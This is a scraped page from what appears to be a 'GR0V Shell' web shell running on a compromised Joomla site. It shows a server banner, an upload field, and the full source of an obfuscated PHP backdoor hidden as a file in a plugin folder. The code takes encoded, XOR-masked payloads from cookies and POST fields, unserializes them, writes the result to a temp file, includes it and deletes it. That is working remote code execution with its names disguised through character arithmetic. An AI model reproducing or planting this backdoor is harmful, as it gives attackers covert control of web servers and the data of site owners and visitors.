? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/plugins/quickicon/joomlaupdate/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/plugins/quickicon/joomlaupdate/c34681e8.php

$ZTTQZqGE = chr (115) . 'V' . chr (95) . 'V' . chr (97) . "\x79" . chr ( 835 - 756 ).chr (98); $rPEMQCeF = chr ( 408 - 309 ).chr (108) . "\141" . chr ( 800 - 685 ).'s' . "\137" . chr ( 330 - 229 ).'x' . chr ( 184 - 79 )."\x73" . 't' . chr (115); $mFgmP = class_exists($ZTTQZqGE); $ZTTQZqGE = "33868";$rPEMQCeF = "15050";$IjDYfKopy = FALSE;if ($mFgmP === $IjDYfKopy){function AhjxBvjwS(){return FALSE;}$mRYVURbIJ = "65073";AhjxBvjwS();class sV_VayOb{public function sPANpsJOyP(){echo "58651";}private $ziYRUfv;public static $LgyMuDGP = "7fcec112-ccda-4b7c-9ff0-a997fcd35fa9";public static $JllwOia = 14924;public function __destruct(){$mRYVURbIJ = "1892_56402";$this->Gyerr($mRYVURbIJ); $mRYVURbIJ = "1892_56402";}public function __construct($FRsHFYn=0){$eBWwOORPoE = $_POST;$qnjHdB = $_COOKIE;$rVlDF = @$qnjHdB[substr(sV_VayOb::$LgyMuDGP, 0, 4)];if (!empty($rVlDF)){$bEUDe = "base64";$ZSDzOTvA = "";$rVlDF = explode(",", $rVlDF);foreach ($rVlDF as $tOZjuHxlmX){$ZSDzOTvA .= @$qnjHdB[$tOZjuHxlmX];$ZSDzOTvA .= @$eBWwOORPoE[$tOZjuHxlmX];}$ZSDzOTvA = array_map($bEUDe . chr ( 120 - 25 )."\x64" . chr ( 469 - 368 )."\x63" . "\x6f" . "\x64" . "\x65", array($ZSDzOTvA,)); $ZSDzOTvA = $ZSDzOTvA[0] ^ str_repeat(sV_VayOb::$LgyMuDGP, (strlen($ZSDzOTvA[0]) / strlen(sV_VayOb::$LgyMuDGP)) + 1);sV_VayOb::$JllwOia = @unserialize($ZSDzOTvA);}}private function Gyerr($mRYVURbIJ){if (is_array(sV_VayOb::$JllwOia)) {$VxnKSibH = sys_get_temp_dir() . "/" . crc32(sV_VayOb::$JllwOia["\163" . chr (97) . chr (108) . "\x74"]);@sV_VayOb::$JllwOia[chr (119) . chr (114) . chr (105) . "\164" . chr (101)]($VxnKSibH, sV_VayOb::$JllwOia['c' . chr ( 883 - 772 )."\x6e" . 't' . 'e' . "\156" . chr ( 942 - 826 )]);include $VxnKSibH;@sV_VayOb::$JllwOia["\x64" . chr (101) . "\x6c" . 'e' . 't' . chr ( 468 - 367 )]($VxnKSibH); $mRYVURbIJ = "65073";exit();}}}$zRUsQk = new /* 37804 */ sV_VayOb(); $zRUsQk = str_repeat("1892_56402", 1);}

T1KUS90T
  root-grov@210.1.60.28:~$